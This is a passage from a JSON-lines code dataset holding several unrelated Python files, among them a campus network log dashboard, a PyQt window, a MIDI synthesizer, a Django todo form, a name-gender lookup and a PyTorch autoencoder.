sex=sex,\n year=year,\n college=college,\n class_=class_,\n user_type=user_type\n )\n user = User(**user_dict)\n data.append(user)\n if (i + 1) % 1000 == 0:\n User.objects.insert(data)\n data.clear()\n\n\ndef generate_random_mac():\n \"\"\"\n 生成随机mac地址\n :return:\n \"\"\"\n mac = [0x52, 0x54, 0x00,\n random.randint(0x00, 0x7f),\n random.randint(0x00, 0xff),\n random.randint(0x00, 0xff)]\n return ':'.join(map(lambda x: \"%02x\" % x, mac))\n\n\ndef generate_random_ip():\n \"\"\"\n 生成随机ip\n :return:\n \"\"\"\n random_ip_pool = ['192.168.10.222/0']\n str_ip = random_ip_pool[random.randint(0, len(random_ip_pool) - 1)]\n str_ip_addr = str_ip.split('/')[0]\n str_ip_mask = str_ip.split('/')[1]\n ip_address = struct.unpack('>I', socket.inet_aton(str_ip_addr))[0]\n mask = 0x0\n for i in range(31, 31 - int(str_ip_mask), -1):\n mask = mask | (1 << i)\n ip_addr_min = ip_address & (mask & 0xffffffff)\n ip_addr_max = ip_address | (~mask & 0xffffffff)\n return socket.inet_ntoa(struct.pack('>I', random.randint(ip_addr_min, ip_addr_max)))\n\n\ndef generate_ap():\n \"\"\"\n 生成随机ap\n :return:\n \"\"\"\n\n for college in COLLEGE_LIST:\n for i in range(random.randint(1, 10)):\n label = '{}-NO-{}'.format(college, i + 1)\n position = college\n mac = generate_random_mac()\n ip = generate_random_ip()\n item = dict(\n label=label,\n position=position,\n mac=mac,\n ip=ip\n )\n ap = Ap(**item)\n ap.save()\n\n\ndef lookup_aggregate(by_field, logs):\n \"\"\"\n 聚合\n :param by_field:\n :param logs:\n :return:\n \"\"\"\n pipeline = [\n {'$lookup': {'from': 'user', 'localField': 'user', 'foreignField': '_id', 'as': 'user'}},\n {'$group': {'_id': '${}'.format(by_field), 'count': {'$sum': 1}}},\n ]\n ret = logs.aggregate(*pipeline)\n v = []\n attr = []\n for r in sorted(ret, key=lambda x: x.get('_id')[0]):\n v.append(r.get('count'))\n attr.append(r.get('_id')[0])\n return v, attr\n\n\ndef get_user_options(logs):\n \"\"\"\n 在线人员分布\n :param logs:\n :return:\n \"\"\"\n\n pie_type = Pie(title='人员分布', title_pos='center')\n pie_sex = Pie(title='性别分布', title_pos='center')\n bar_college = Bar(title='学院分布', title_pos='left')\n v_type, attr_type = lookup_aggregate('user.user_type', logs)\n v_sex, attr_sex, = lookup_aggregate('user.sex', logs)\n v_college, attr_college, = lookup_aggregate('user.college', logs)\n pie_type.add('', attr_type, v_type, is_label_show=True, legend_orient='vertical', is_random=True,\n legend_pos='left', label_text_color=None, label_formatter='{b} : {c} ({d}%)')\n pie_sex.add('', attr_sex, v_sex, is_label_show=True, legend_orient='vertical', is_random=True,\n legend_pos='left', label_text_color=None, label_formatter='{b} : {c} ({d}%)')\n bar_college.add('', attr_college, v_college, is_label_show=True, legend_orient='vertical', is_random=True,\n legend_pos='left', label_text_color=None, label_formatter='{b} : {c}')\n bar = Bar(title='人数占比', title_pos='center')\n attr_num = ['人数']\n bar.add('总人数', attr_num, [logs.count()], is_convert=True, is_label_show=True, legend_orient='vertical',\n legend_pos='left', is_random=True)\n bar.add('在线人数', attr_num, [logs.filter(behavior='上线').count()], is_convert=True, is_label_show=True,\n legend_orient='vertical', label_text_color=None,\n legend_pos='left', is_random=True)\n return pie_type.options, pie_sex.options, bar_college.options, bar.options\n\n\ndef make_cache_key(*args, **kwargs):\n \"\"\"\n 根据参数生成缓存key\n :param args:\n :param kwargs:\n :return:\n \"\"\"\n\n path = request.path\n args = str(hash(frozenset(request.args.items())))\n form = str(hash(frozenset(request.form.items())))\n return path + args + form\n\n\ndef by_day(day_range, start, logs):\n \"\"\"\n 计算每一天的人数\n :param day_range:\n :param start:\n :param logs:\n :return:\n \"\"\"\n\n for day in range(day_range):\n s = start + datetime.timedelta(day)\n e = s + datetime.timedelta(1)\n logs_tmp = logs.filter(time__gte=s, time__lte=e)\n v_type = lookup_aggregate('user.user_type', logs_tmp)[0]\n v_sex = lookup_aggregate('user.sex', logs_tmp)[0]\n v_college = lookup_aggregate('user.college', logs_tmp)[0]\n v_year = lookup_aggregate('user.year', logs_tmp)[0]\n yield v_type, v_sex, v_college, v_year\n\n\ndef user_trend_rate(logs, start_date, end_date):\n \"\"\"\n 在线用户趋势\n :param start_date:\n :param end_date:\n :param logs:\n :return:\n \"\"\"\n date_fmt = '%Y-%m-%d'\n start_date = datetime.datetime.strptime(start_date, date_fmt)\n end_date = datetime.datetime.strptime(end_date, date_fmt)\n # 相隔天数\n days = (end_date - start_date).days\n\n line_type = Line(title='在线人员-用户类型', title_pos='left')\n attr_type = sorted(USER_TYPE_LIST)\n line_sex = Line(title='在线人员-性别', title_pos='left')\n attr_sex = sorted(SEX_LIST)\n line_college = Line(title='在线人员-学院', title_pos='auto')\n attr_college = sorted(COLLEGE_LIST)\n line_year = Line(title='在线人员-年级', title_pos='left')\n attr_year = sorted(YEAR_LIST)\n attr_year.append('无')\n logs = logs.filter(behavior='上线')\n x_axis = [(start_date + datetime.timedelta(days=i)).strftime(date_fmt) for i in range(days)]\n result = list(zip(*by_day(days, start_date, logs)))\n\n v_type = list(zip(*result[0]))\n len_type = len(attr_type)\n for i in range(len(attr_type)):\n try:\n v = v_type[i]\n except IndexError:\n v = [0] * len_type\n line_type.add(attr_type[i], x_axis, v, mark_point=['max', 'min'], is_label_show=True,\n label_text_color=None,\n is_random=True, legend_pos='right')\n v_sex = list(zip(*result[1]))\n for i in range(len(v_sex)):\n line_sex.add(attr_sex[i], x_axis, v_sex[i], mark_point=['max', 'min'], is_label_show=True,\n label_text_color=None,\n is_random=True, legend_pos='right')\n\n v_college = list(zip(*result[2]))\n for i in range(len(v_college)):\n line_college.add(attr_college[i], x_axis, v_college[i], is_label_show=True, label_text_color=None,\n is_random=True, legend_orient='vertical', legend_pos='right')\n v_year = list(zip(*result[3]))\n for i in range(len(v_year)):\n line_year.add(attr_year[i], x_axis, v_year[i], is_label_show=True, label_text_color=None,\n is_random=True, legend_pos='right')\n\n return line_type.options, line_sex.options, line_college.options, line_year.options\n\n\ndef init_date():\n \"\"\"\n 初始化时间\n :return:\n \"\"\"\n today = datetime.date.today()\n five_day = today - datetime.timedelta(3)\n fmt = '%Y-%m-%d'\n return {'start_date': five_day.strftime(fmt), 'end_date': today.strftime(fmt)}\n\n\ndef get_properties():\n \"\"\"\n 设置选项\n :return:\n \"\"\"\n ap_list = [{\n 'value': str(ap.pk),\n 'label': ap.label\n } for ap in Ap.objects]\n device_list = DEVICE_LIST\n campus_list = CAMPUS_LIST\n building_list = BUILDING_LIST\n floor_list = [i for i in range(1, MAX_FLOOR + 1)]\n behavior_list = BEHAVIOR_LIST\n resource_list = RESOURCE_TYPE_LIST\n return {\n 'ap_list': ap_list,\n 'device_list': [{\n 'value': i,\n 'label': i\n } for i in device_list],\n 'campus_list': [{\n 'value': i,\n 'label': i\n } for i in campus_list],\n 'building_list': [{\n 'value': i,\n 'label': i\n } for i in building_list],\n 'floor_list': [{\n 'value': i,\n 'label': i\n } for i in floor_list],\n 'behavior_list': [{\n 'value': i,\n 'label': i\n } for i in behavior_list],\n 'resource_list': [{\n 'value': i,\n 'label': i\n } for i in resource_list],\n }\n\n\ndef params_validation(schema_dict):\n \"\"\"\n 请求参数校验\n :param schema_dict: 校验定义\n :return:\n \"\"\"\n\n def decorator(func):\n @wraps(func)\n def inner(*args, **kwargs):\n data = request.form.copy() or request.args.copy()\n try:\n schema = Schema(schema_dict, ignore_extra_keys=True)\n schema.validate(data)\n except SchemaMissingKeyError as e:\n return json_response(420, err_msg=e.code)\n except SchemaUnexpectedTypeError as e:\n return json_response(421, err_msg=e.code)\n except (SchemaWrongKeyError, SchemaError) as e:\n return json_response(424, err_msg=e.code)\n return func(*args, **kwargs)\n\n return inner\n\n return decorator\n\n\ndef get_ap_options(ap_id):\n \"\"\"\n 获取ip当天详情\n :param ap_id:\n :return:\n \"\"\"\n today = datetime.datetime.today()\n pre_time = datetime.datetime(today.year, today.month, today.day, 0, 0, 0)\n attr, v1, v2, v3 = [], [], [], []\n line = Line('当天人数趋势')\n for i in range(24):\n attr.append(pre_time.strftime('%H:%M'))\n next_time = pre_time + datetime.timedelta(hours=1)\n logs_1 = Log.objects(behavior='上线', time__gte=pre_time, time__lte=next_time, ap=ap_id)\n logs_2 = Log.objects(behavior='下线', time__gte=pre_time, time__lte=next_time, ap=ap_id)\n logs_3 = Log.objects(behavior='网站浏览', time__gte=pre_time, time__lte=next_time, ap=ap_id)\n v1.append(logs_1.count())\n v2.append(logs_2.count())\n v3.append(logs_3.count())\n pre_time = next_time\n line.add('上线', attr, v1, is_label_show=True, label_text_color=None,\n is_random=True, )\n line.add('离线', attr, v2, is_label_show=True, label_text_color=None,\n is_random=True, )\n line.add('网站浏览', attr, v3, is_label_show=True, label_text_color=None,\n is_random=True, )\n return line.options\n\n\ndef aggregate(by_field, logs):\n \"\"\"\n 聚合\n :param by_field:\n :param logs:\n :return:\n \"\"\"\n pipeline = [\n {'$group': {'_id': '${}'.format(by_field), 'count': {'$sum': 1}}}\n ]\n ret = logs.aggregate(*pipeline)\n attr = []\n v = []\n for r in ret:\n attr.append(r.get('_id'))\n v.append(r.get('count'))\n return attr, v\n\n\ndef get_net_options(logs):\n \"\"\"\n 获取网络行为\n :param logs:\n :return:\n \"\"\"\n\n attr_device, v_device = aggregate('device', logs)\n pie_device = Pie('设备类型分布', title_pos='center')\n pie_device.add(\"\", attr_device, v_device, radius=[40, 75],\n is_label_show=True, legend_orient='vertical',\n label_formatter='{b} : {c} ({d}%)',\n is_random=True,\n rosetype='radius',\n label_text_color=None,\n legend_pos='left')\n attr_behavior, v_behavior = aggregate('behavior', logs)\n pie_behavior = Pie('行为分布', title_pos='center')\n pie_behavior.add(\"\", attr_behavior, v_behavior, radius=[30, 75],\n is_random=True,\n is_label_show=True,\n label_formatter='{b} : {c} ({d}%)',\n legend_orient='vertical',\n label_text_color=None,\n legend_pos='left')\n attr_resource_type, v_resource_type = aggregate('resource_type', logs)\n pie_resource_type = Pie('资源分布', title_pos='center')\n pie_resource_type.add(\"\", attr_resource_type, v_resource_type, radius=[40, 75], is_random=True,\n label_formatter='{b} : {c} ({d}%)',\n label_text_color=None,\n is_label_show=True,\n rosetype='area',\n legend_orient='vertical',\n legend_pos='left')\n attr_building, v_building = aggregate('building', logs)\n bar_building = Bar('楼栋分布', title_pos='center')\n bar_building.add(\"\", attr_building, v_building,\n is_random=True,\n label_text_color=None,\n is_label_show=True,\n legend_orient='vertical',\n legend_pos='left')\n return pie_device.options, pie_behavior.options, pie_resource_type.options, bar_building.options\n\n\ndef get_ip():\n \"\"\"\n 获取客户端ip\n :return:\n \"\"\"\n real_ip = request.headers['X-Forwarded-For']\n if len(real_ip.split(',')) > 1:\n ip = real_ip.split(\",\")[1]\n else:\n ip = real_ip\n return ip\n","sub_path":"common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":17510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"301488037","text":"# -*- coding: utf-8 -*-\n\nfrom PyQt5.QtCore import pyqtSignal, pyqtSlot, Qt\nfrom PyQt5.QtWidgets import QMainWindow\nfrom mainwindow_ui import Ui_MainWindow\nfrom projectdefines import globaldefines\nfrom timeseqs import TimeSeq\n\n\nclass MainWindow(QMainWindow):\n ui = Ui_MainWindow()\n time_seq = None\n\n def __init__(self, parent=None):\n super(MainWindow, self).__init__(parent=parent)\n self.ui.setupUi(self)\n\n self.ui.leModel.setText(globaldefines.model)\n self.ui.leModel.setReadOnly(True)\n self.ui.leModel.setEnabled(False)\n\n self.ui.lePath.setText(globaldefines.path)\n self.ui.lePath.setReadOnly(True)\n self.ui.lePath.setEnabled(False)\n\n self.ui.leName.setText(globaldefines.output_name)\n self.ui.leName.setReadOnly(True)\n self.ui.leName.setEnabled(False)\n\n self.ui.leVersion.setText(globaldefines.output_version_str())\n self.ui.leVersion.setReadOnly(True)\n self.ui.leVersion.setEnabled(False)\n\n self.ui.leSupport.setText('')\n self.ui.leSupport.setReadOnly(True)\n self.ui.leSupport.setEnabled(False)\n\n self.ui.leDone.setText('')\n self.ui.leDone.setReadOnly(True)\n self.ui.leDone.setEnabled(False)\n\n self.ui.lstFiles.itemClicked.connect(self.on_lstFiles_itemClicked)\n\n @pyqtSlot()\n def slotShow(self):\n self.show()\n\n self.ui.leModel.setText(globaldefines.model)\n self.ui.leName.setText(globaldefines.output_name)\n self.ui.leVersion.setText(globaldefines.output_version_str())\n\n self.time_seq = TimeSeq(globaldefines.path)\n\n self.time_seq.sig_support_done.connect(self.slot_timeseq_support_done)\n self.time_seq.sig_write_done.connect(self.slot_timeseq_write_done)\n self.time_seq.sig_init.connect(self.slot_timeseq_init)\n self.time_seq.sig_uninit.connect(self.slot_timeseq_uninit)\n self.time_seq.sig_changed.connect(self.slot_timeseq_changed)\n\n self.time_seq.start()\n\n @pyqtSlot(str)\n def slot_timeseq_init(self, file_path):\n globaldefines.other_trace()\n find_items = self.ui.lstFiles.findItems(file_path, Qt.MatchStartsWith)\n if len(find_items) != 0:\n globaldefines.other_trace(\"slot_timeseq_init but count incorrect\")\n self.ui.lstFiles.addItem(file_path + '-init')\n\n @pyqtSlot(str)\n def slot_timeseq_uninit(self, file_path):\n globaldefines.other_trace()\n find_items = self.ui.lstFiles.findItems(file_path, Qt.MatchStartsWith)\n for find_item in find_items:\n self.ui.lstFiles.removeItemWidget(find_item)\n\n @pyqtSlot(str)\n def slot_timeseq_changed(self, file_path):\n globaldefines.other_trace()\n find_items = self.ui.lstFiles.findItems(file_path, Qt.MatchStartsWith)\n if len(find_items) != 1:\n globaldefines.other_trace(\"%s not found or too much\")\n find_items[0].setText(file_path + '-' + self.time_seq.get_status(file_path))\n\n def on_lstFiles_itemClicked(self, current):\n globaldefines.other_trace()\n file_path = current.text()[0:current.text().find('-')]\n self.ui.lstInfo.clear()\n infos = self.time_seq.get_info(file_path)\n for info in infos:\n self.ui.lstInfo.addItem(str(info))\n\n @pyqtSlot(str)\n def slot_timeseq_support_done(self, support_info):\n self.ui.leSupport.setText(support_info)\n\n @pyqtSlot(str)\n def slot_timeseq_write_done(self, done_info):\n self.ui.leDone.setText(done_info)\n","sub_path":"03-Src/mainwindow.py","file_name":"mainwindow.py","file_ext":"py","file_size_in_byte":3526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"553513687","text":"from opengever.base.viewlets.byline import BylineBase\nfrom opengever.meeting import _\nfrom opengever.tabbedview.helper import linked\nfrom plone import api\nfrom Products.CMFPlone.utils import safe_unicode\n\n\nclass MeetingByline(BylineBase):\n\n def byline_items(self):\n meeting = self.context.model\n yield {'class': 'byline-meeting-wf-state-{}'.format(meeting.workflow_state),\n 'label': _('meeting_byline_workflow_state', default='State'),\n 'content': meeting.get_state().title}\n\n yield {'label': _('meeting_byline_start', default='Start'),\n 'content': meeting.get_start()}\n\n if meeting.get_end():\n yield {'label': _('meeting_byline_end', default='End'),\n 'content': meeting.get_end()}\n\n yield self.get_role_item(\n 'byline-presidency',\n _('meeting_byline_presidency', default='Presidency'),\n meeting.presidency)\n yield self.get_role_item(\n 'byline-secretary',\n _('meeting_byline_secretary', default='Secretary'),\n meeting.secretary)\n\n if meeting.location:\n yield {'label': _('meeting_byline_location', default='Location'),\n 'content': meeting.location}\n\n dossier = meeting.get_dossier()\n with_tooltip = False\n if api.user.has_permission('View', obj=dossier):\n with_tooltip = True\n\n dossier_html = linked(dossier, dossier.Title(), with_tooltip=with_tooltip)\n\n yield {'label': _('meeting_byline_meetin_dossier', default='Meeting dossier'),\n 'content': dossier_html,\n 'replace': True}\n\n def get_role_item(self, classname, label, member):\n if member:\n return {'class': classname,\n 'label': label,\n 'content': member.fullname}\n else:\n return {'class': classname + ' hidden',\n 'label': label,\n 'content': ' '}\n\n def get_items(self):\n items = []\n\n for item in self.byline_items():\n item['content'] = safe_unicode(item['content'])\n item.setdefault('class', '')\n item.setdefault('replace', False)\n items.append(item)\n\n return items\n","sub_path":"opengever/meeting/browser/meetings/byline.py","file_name":"byline.py","file_ext":"py","file_size_in_byte":2294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"341113826","text":"from __future__ import division\nimport pyaudio\nimport numpy as np\nimport random\nfrom array import array\nimport mido\nimport numpy as np\nimport matplotlib.cm as cm\nfrom scipy import signal\nfrom scipy import interpolate\n#from numpy import *\nimport threading,time, queue\nimport itertools\nimport time\n\n## This synthesizer will have n voices each run by an oscilator launched on its own thread.\n## Synthesize 1 segment of note, do not apply envelopes and do not partition\n\n#https://people.csail.mit.edu/hubert/pyaudio/docs/\n\n#Globals\nfs = 44100 # sampling rate, Hz, must be integer\ndelay = 0.1*fs # seconds * fs\nmy_queue=[]\nwaves = {}\nphase={}\nfrequency={}\nDO_SIGNAL = False\nactive_notes = set()\nthis_active_notes = set()\nsample_duration = 1.00\nchunk_duration = 0.10\nsamples_per_chunk = int(fs * chunk_duration)\n\ndef init_soundwaves():\n volume = 0.3 # \n duration = sample_duration # in seconds, may be float\n decay=-0.000001\n \n for i in range(22,122):\n note_mapper = (2.0**((i-69)/12.0))*440.0\n gain=np.exp(decay*np.arange(fs*duration))\n time=np.arange(fs*duration)+np.random.normal(0.0,0.0001*note_mapper,fs)\n #kernel=np.sin(2*np.pi*time*note_mapper/fs)\n #kernel=np.sign(np.sin(2*np.pi*np.arange(fs*duration)*note_mapper/fs))\n kernel=signal.sawtooth(2*np.pi*time*note_mapper/fs)\n samples = (volume* kernel ).astype(np.float32)\n #frequency[i]=int(fs/2.0*np.pi*note_mapper)\n frequency[i]=int(100.0*fs/note_mapper)\n print(frequency[i],note_mapper)\n waves[i]=samples\n phase[i]=0\n waves[0]=0.0*waves[23]\n\n\ndef signal_processor(data):\n for i in range(len(data)-20):\n data[i+20-1] = data[i+20-1] + 0.5 * data[i]\n return data\n\ndef play_audio(Qout):\n p = pyaudio.PyAudio()\n # open output stream\n ostream = p.open(format=pyaudio.paFloat32, channels=1, rate=int(fs),output=True,output_device_index=None)\n while True:\n data = None\n if len(active_notes)>0:\n data = synth_engine(Qout)\n if data is not None:\n ostream.write( data.astype(np.float32).tostring() )\n else:\n time.sleep(chunk_duration)\n \n\n# try:\n# #data = my_queue.pop(0)\n# if len(active_notes) > 0:\n# Qout.put(synth_engine())\n# if not Queue.empty() :\n# data = Qout.get()\n# ostream.write( data.astype(np.float32).tostring() )\n# except:\n# pass\n\n ostream.close()\n\ndef execute_note(note_value,Qout,event_type):\n if event_type == 'note_on':\n active_notes.add(note_value)\n if event_type == 'note_off':\n active_notes.remove(note_value)\n phase[note_value]=0\n print(\"Active notes:\", active_notes)\n\n\ndef synth_engine(Qout):\n this_active_notes = active_notes.copy()\n data = None\n if len(this_active_notes) > 0:\n for note in this_active_notes:\n print(\" synthesis of \", note, \" in \", this_active_notes)\n print(phase[note])\n if data is None:\n data = waves[note][phase[note]:phase[note]+samples_per_chunk+1]\n else:\n data += waves[note][phase[note]:phase[note]+samples_per_chunk+1]\n phase[note]=(phase[note]+samples_per_chunk)%frequency[note]\n \n else:\n print(\"Dealing with empty buffer\")\n return data\n\n\ndef listen_midi(Qout):\n for msg in mido.open_input():\n print(msg)\n if msg.type == 'note_on':\n execute_note(msg.note,Qout,'note_on')\n if msg.type == 'note_off':\n execute_note(msg.note,Qout,'note_off')\n \n\ndef main():\n init_soundwaves()\n\n # create an input output FIFO queues\n Qin = queue.Queue()\n Qout = queue.Queue()\n Qdata = queue.Queue()\n\n # initialize stop_flag\n stop_flag = threading.Event()\n\n\n t_listen_midi = threading.Thread(target=listen_midi,args = (Qout,))\n t_play_audio = threading.Thread(target = play_audio, args = (Qout,))\n #t_synth_engine = threading.Thread(target = synth_engine, args = (Qout,))\n #t_signal_process = threading.Thread(target = signal_process, args = ( Qin, Qdata, pulse_a, Nseg, Nplot, fs, maxdist, temperature, functions, stop_flag))\n\n\n t_listen_midi.start()\n #t_synth_engine.start()\n t_play_audio.start()\n\n\n return stop_flag\n\n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"v08.polyphonic_pitch_synchronous.py","file_name":"v08.polyphonic_pitch_synchronous.py","file_ext":"py","file_size_in_byte":4373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"279229394","text":"from django import forms\nimport datetime\nfrom . import models\n\nclass TodoForm(forms.Form):\n task = forms.CharField(max_length=255)\n due = forms.DateTimeField(\n widget=forms.DateTimeInput(format=\"%Y-%m-%d\"),\n initial = datetime.date.today()\n )\n\n def save(self):\n new_task = self.cleaned_data[\"task\"]\n its_due = self.cleaned_data[\"due\"]\n if models.Todo.objects.filter(task=new_task).count() == 0:\n todo = models.Todo(task=new_task, due=its_due, done=False);\n todo.save()\n","sub_path":"todo/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"632447323","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport sys\n\nclass IdentifyGender(object):\n \"\"\"docstring for IdentifyGender\"\"\"\n def __init__(self):\n super(IdentifyGender, self).__init__()\n self.datapath = './data/'\n self.names = {}\n self.names['us_male'] = {}\n self.names['us_female'] = {}\n self.names['gr_male'] = {}\n self.names['gr_female'] = {}\n self.names['in_male'] = {}\n self.names['in_female'] = {}\n self.names['kr_male'] = {}\n self.names['kr_female'] = {}\n self.names['jp_male'] = {}\n self.names['jp_female'] = {}\n self.names['fr_male'] = {}\n self.names['fr_female'] = {}\n self.names['it_male'] = {}\n self.names['it_female'] = {}\n self.names['cn_male'] = {}\n self.names['cn_female'] = {}\n self.names['es_male'] = {}\n self.names['es_female'] = {}\n \n self.UpdateHash('us','male')\n self.UpdateHash('us','female')\n self.UpdateHash('gr','male')\n self.UpdateHash('gr','female')\n self.UpdateHash('in','male')\n self.UpdateHash('in','female')\n self.UpdateHash('kr','male')\n self.UpdateHash('kr','female')\n self.UpdateHash('jp','male')\n self.UpdateHash('jp','female')\n self.UpdateHash('fr','male')\n self.UpdateHash('fr','female')\n self.UpdateHash('it','male')\n self.UpdateHash('it','female')\n self.UpdateHash('cn','male')\n self.UpdateHash('cn','female')\n self.UpdateHash('es','male')\n self.UpdateHash('es','female')\n\n def UpdateHash(self, nation, gender):\n name = nation + '_' + gender\n with open(self.datapath + nation + '/' + name + '.txt') as f:\n lines = f.read().splitlines()\n for line in lines:\n self.names[name][line] = 1\n #print(self.names[name])\n\n def Test(self, name):\n name = name.lower()\n tmp = {}\n tmp['male'] = 0\n tmp['female'] = 0\n for key, value in self.names.items():\n if name in value:\n tmp[key.split('_')[1]] += 1\n #print('Maybe: ' + key)\n\n if tmp['male'] == 0:\n if tmp['female'] >= 1:\n ans = 'female'\n else:\n ans = 'No records found.'\n elif tmp['female'] == 0:\n ans = 'male'\n else:\n ans = 'Records found, but both are possible.'\n\n return ans\n\nif __name__ == '__main__':\n IG = IdentifyGender();\n while True:\n name = input('Input a name: ');\n print(IG.Test(name))\n","sub_path":"identify_gender.py","file_name":"identify_gender.py","file_ext":"py","file_size_in_byte":2630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"347047424","text":"#! /usr/bin/env python3\n\nimport sys\nsys.path.append(\"../\")\n\nimport traceback\n\n# from utils import plot_swapped_styles\nfrom models import DisenrangledNetwork\n\nimport numpy as np\n\nimport torch\nimport torch.nn as nn\n\nimport matplotlib.pyplot as plt\n\n\nclass Decoder(nn.Module):\n def __init__(self, latent_space_dim, conv_feat_size, nb_channels=3):\n super(Decoder, self).__init__()\n\n self.latent_space_dim = latent_space_dim\n self.conv_feat_size = conv_feat_size\n\n self.deco_dense = nn.Sequential(\n nn.Linear(in_features=latent_space_dim, out_features=1024),\n nn.ReLU(True),\n nn.Linear(in_features=1024, out_features=np.prod(self.conv_feat_size)),\n nn.ReLU(True),\n )\n\n self.deco_fetures = nn.Sequential(\n nn.Conv2d(self.conv_feat_size[0], out_channels=64, kernel_size=3, padding=1),\n nn.ReLU(True),\n nn.Upsample(scale_factor=2),\n nn.Conv2d(in_channels=64, out_channels=32, kernel_size=5, padding=2),\n nn.ReLU(True),\n nn.Upsample(scale_factor=2),\n nn.Conv2d(in_channels=32, out_channels=nb_channels, kernel_size=5, padding=2),\n nn.Sigmoid()\n )\n\n def forward(self, z_share, z_spe):\n z = torch.cat([z_share, z_spe], 1)\n feat_encode = self.deco_dense(z)\n feat_encode = feat_encode.view(-1, *self.conv_feat_size)\n y = self.deco_fetures(feat_encode)\n\n return y\n\n\nclass Encoder(nn.Module):\n def __init__(self, latent_space_dim, img_size, nb_channels=3):\n super(Encoder, self).__init__()\n\n self.latent_space_dim = latent_space_dim\n self.nb_channels = nb_channels\n\n self.conv_feat = nn.Sequential(\n nn.Conv2d(nb_channels, out_channels=32, kernel_size=5, padding=2),\n nn.ReLU(True),\n nn.MaxPool2d(kernel_size=2, stride=2),\n nn.Conv2d(in_channels=32, out_channels=64, kernel_size=5, padding=2),\n nn.ReLU(True),\n nn.MaxPool2d(kernel_size=2, stride=2),\n nn.Conv2d(in_channels=64, out_channels=128, kernel_size=3, padding=1),\n nn.ReLU(True),\n )\n\n self.conv_feat_size = self.conv_feat(torch.zeros(1, *img_size)).shape[1:]\n self.dense_feature_size = np.prod(self.conv_feat_size)\n\n self.dense_feat = nn.Sequential(\n nn.Linear(in_features=self.dense_feature_size, out_features=1024),\n nn.ReLU(True), )\n\n self.share_feat = nn.Sequential(\n nn.Linear(in_features=1024, out_features=latent_space_dim),\n nn.ReLU(True),\n )\n\n self.style_feat = nn.Sequential(\n nn.Linear(in_features=1024, out_features=latent_space_dim),\n nn.ReLU(True),\n )\n\n def forward(self, input_data):\n if (input_data.shape[1] == 1) & (self.nb_channels == 3):\n input_data = input_data.repeat(1, 3, 1, 1)\n feat = self.conv_feat(input_data)\n feat = feat.view(-1, self.dense_feature_size)\n feat = self.dense_feat(feat)\n z_share = self.share_feat(feat)\n z_style = self.style_feat(feat)\n return z_share, z_style\n\n def forward_style(self, input_data):\n if (input_data.shape[1] == 1) & (self.nb_channels == 3):\n input_data = input_data.repeat(1, 3, 1, 1)\n feat = self.conv_feat(input_data)\n feat = feat.view(-1, self.dense_feature_size)\n feat = self.dense_feat(feat)\n z_style = self.style_feat(feat)\n return z_style\n\n\nclass BColors:\n HEADER = '\\033[95m'\n OKBLUE = '\\033[94m'\n OKCYAN = '\\033[96m'\n OKGREEN = '\\033[92m'\n WARNING = '\\033[93m'\n FAIL = '\\033[91m'\n ENDC = '\\033[0m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'\n\n CEND = '\\33[0m'\n CBOLD = '\\33[1m'\n CITALIC = '\\33[3m'\n CURL = '\\33[4m'\n CBLINK = '\\33[5m'\n CBLINK2 = '\\33[6m'\n CSELECTED = '\\33[7m'\n\n CBLACK = '\\33[30m'\n CRED = '\\33[31m'\n CGREEN = '\\33[32m'\n CYELLOW = '\\33[33m'\n CBLUE = '\\33[34m'\n CVIOLET = '\\33[35m'\n CBEIGE = '\\33[36m'\n CWHITE = '\\33[37m'\n\n CBLACKBG = '\\33[40m'\n CREDBG = '\\33[41m'\n CGREENBG = '\\33[42m'\n CYELLOWBG = '\\33[43m'\n CBLUEBG = '\\33[44m'\n CVIOLETBG = '\\33[45m'\n CBEIGEBG = '\\33[46m'\n CWHITEBG = '\\33[47m'\n\n CGREY = '\\33[90m'\n CRED2 = '\\33[91m'\n CGREEN2 = '\\33[92m'\n CYELLOW2 = '\\33[93m'\n CBLUE2 = '\\33[94m'\n CVIOLET2 = '\\33[95m'\n CBEIGE2 = '\\33[96m'\n CWHITE2 = '\\33[97m'\n\n CGREYBG = '\\33[100m'\n CREDBG2 = '\\33[101m'\n CGREENBG2 = '\\33[102m'\n CYELLOWBG2 = '\\33[103m'\n CBLUEBG2 = '\\33[104m'\n CVIOLETBG2 = '\\33[105m'\n CBEIGEBG2 = '\\33[106m'\n\n\ndef main():\n device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n\n encoder = Encoder(latent_space_dim=10, img_size=(3, 32, 32), nb_channels=3)\n conv_feat_size = encoder.conv_feat_size\n decoder_source = Decoder(latent_space_dim=20, conv_feat_size=conv_feat_size, nb_channels=3)\n classifier = nn.Sequential(nn.Dropout2d(0.2),\n nn.Linear(in_features=10, out_features=4),\n nn.LogSoftmax())\n\n model = DisenrangledNetwork(encoder, decoder_source, classifier).to(device=device)\n\n print(\"loading the model...\", end=' ')\n model.load_state_dict(torch.load(\"./model.pth\"))\n print(\"done\")\n\n print(\"loading the source train loader...\", end=' ') #\n # source_train_loader = torch.load(\"./data_loader.pth\") ############ the problem is here !!\n print(\"done\") #\n\n # print(\"plotting the results\")\n # plot_swapped_styles(model, source_train_loader, device=device)\n\n plt.plot()\n plt.show()\n\n\nif __name__ == \"__main__\":\n if __name__ == \"__main__\":\n try:\n main()\n except:\n print(f\"\\n{BColors.CRED}{traceback.format_exc()}{BColors.ENDC}\")","sub_path":"DiCyR/notebooks/plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":5890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"292512705","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport sys\nimport re\nimport glob\nimport cv2\nimport face_eyes_detect_class2\nimport numpy as np\n\nexe_dir = os.path.dirname(os.path.abspath(__file__))\n\n#分類数\nnum_class = 